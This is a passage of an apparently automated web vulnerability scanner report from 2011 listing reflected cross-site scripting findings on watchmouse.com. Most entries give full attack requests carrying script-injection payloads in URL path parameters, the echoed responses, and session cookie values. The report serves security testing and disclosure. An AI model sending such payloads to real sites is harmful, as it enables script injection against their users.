ETag: "0-en-a35a829315c5d70c01dacb3cc4ab4c9a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsfcc72"><script>alert(1)</script>39488c56b3e/ui/ui.dialog.js" method="post">
...[SNIP]...

1.357. http://www.watchmouse.com/assets/js/ui/ui.dialog.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82ce8"><script>alert(1)</script>0413cee298f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/ui82ce8"><script>alert(1)</script>0413cee298f/ui.dialog.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-54194b6bbf105148acf4bb214716d334"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/ui82ce8"><script>alert(1)</script>0413cee298f/ui.dialog.js" method="post">
...[SNIP]...

1.358. http://www.watchmouse.com/assets/js/ui/ui.dialog.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15c85"><script>alert(1)</script>c06a7faf2bf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/ui/ui.dialog.js15c85"><script>alert(1)</script>c06a7faf2bf HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-73d6f4d052308738a0bfef16978a4f43"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/ui/ui.dialog.js15c85"><script>alert(1)</script>c06a7faf2bf" method="post">
...[SNIP]...

1.359. http://www.watchmouse.com/assets/js/ui/ui.draggable.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91e41"><script>alert(1)</script>844a2f28eff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets91e41"><script>alert(1)</script>844a2f28eff/js/ui/ui.draggable.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ffd55a331fbec171dad0d6a3256aee0f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets91e41"><script>alert(1)</script>844a2f28eff/js/ui/ui.draggable.js" method="post">
...[SNIP]...

1.360. http://www.watchmouse.com/assets/js/ui/ui.draggable.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1fd5"><script>alert(1)</script>f3be7babcd4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsf1fd5"><script>alert(1)</script>f3be7babcd4/ui/ui.draggable.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-3f28ab8c1ff92a707244c29ba76cd10c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsf1fd5"><script>alert(1)</script>f3be7babcd4/ui/ui.draggable.js" method="post">
...[SNIP]...

1.361. http://www.watchmouse.com/assets/js/ui/ui.draggable.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9c82"><script>alert(1)</script>9dcf3277483 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/uid9c82"><script>alert(1)</script>9dcf3277483/ui.draggable.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f37aabf24689396ef9308b86d0c7ffcd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/uid9c82"><script>alert(1)</script>9dcf3277483/ui.draggable.js" method="post">
...[SNIP]...

1.362. http://www.watchmouse.com/assets/js/ui/ui.draggable.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.draggable.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload add3d"><script>alert(1)</script>99972ef1835 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/ui/ui.draggable.jsadd3d"><script>alert(1)</script>99972ef1835 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f81be43af20f853f8e8ea020b5b20671"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/ui/ui.draggable.jsadd3d"><script>alert(1)</script>99972ef1835" method="post">
...[SNIP]...

1.363. http://www.watchmouse.com/assets/js/wm.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e191"><script>alert(1)</script>1b9e196d000 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets7e191"><script>alert(1)</script>1b9e196d000/js/wm.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e6109843fcc5f91be51f64ed4a9ff312"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets7e191"><script>alert(1)</script>1b9e196d000/js/wm.js" method="post">
...[SNIP]...

1.364. http://www.watchmouse.com/assets/js/wm.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b55d0"><script>alert(1)</script>63d1994de38 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsb55d0"><script>alert(1)</script>63d1994de38/wm.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-80104cbdf4a0750fa9c7bcb3e9867713"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsb55d0"><script>alert(1)</script>63d1994de38/wm.js" method="post">
...[SNIP]...

1.365. http://www.watchmouse.com/assets/js/wm.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/wm.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bcbe1"><script>alert(1)</script>71c5a05fb39 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/wm.jsbcbe1"><script>alert(1)</script>71c5a05fb39 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-5c94cf5661d033a0d182423b19d4cf74"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/wm.jsbcbe1"><script>alert(1)</script>71c5a05fb39" method="post">
...[SNIP]...

1.366. http://www.watchmouse.com/assets/w3c/p3p.xml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/w3c/p3p.xml

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c8e8"><script>alert(1)</script>09f388dda2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets8c8e8"><script>alert(1)</script>09f388dda2d/w3c/p3p.xml HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-dde0dca617f3cc607c8c2b7267f44b5c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets8c8e8"><script>alert(1)</script>09f388dda2d/w3c/p3p.xml" method="post">
...[SNIP]...

1.367. http://www.watchmouse.com/assets/w3c/p3p.xml [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/w3c/p3p.xml

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd9d2"><script>alert(1)</script>ae73e160242 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/w3cdd9d2"><script>alert(1)</script>ae73e160242/p3p.xml HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:04 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-9e7acfc070962e5c79c83e3ea7c129d6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/w3cdd9d2"><script>alert(1)</script>ae73e160242/p3p.xml" method="post">
...[SNIP]...

1.368. http://www.watchmouse.com/assets/w3c/p3p.xml [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/w3c/p3p.xml

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af689"><script>alert(1)</script>bb6f803617a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/w3c/p3p.xmlaf689"><script>alert(1)</script>bb6f803617a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-525207aa4400ec19b8b97807565b4bdf"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/w3c/p3p.xmlaf689"><script>alert(1)</script>bb6f803617a" method="post">
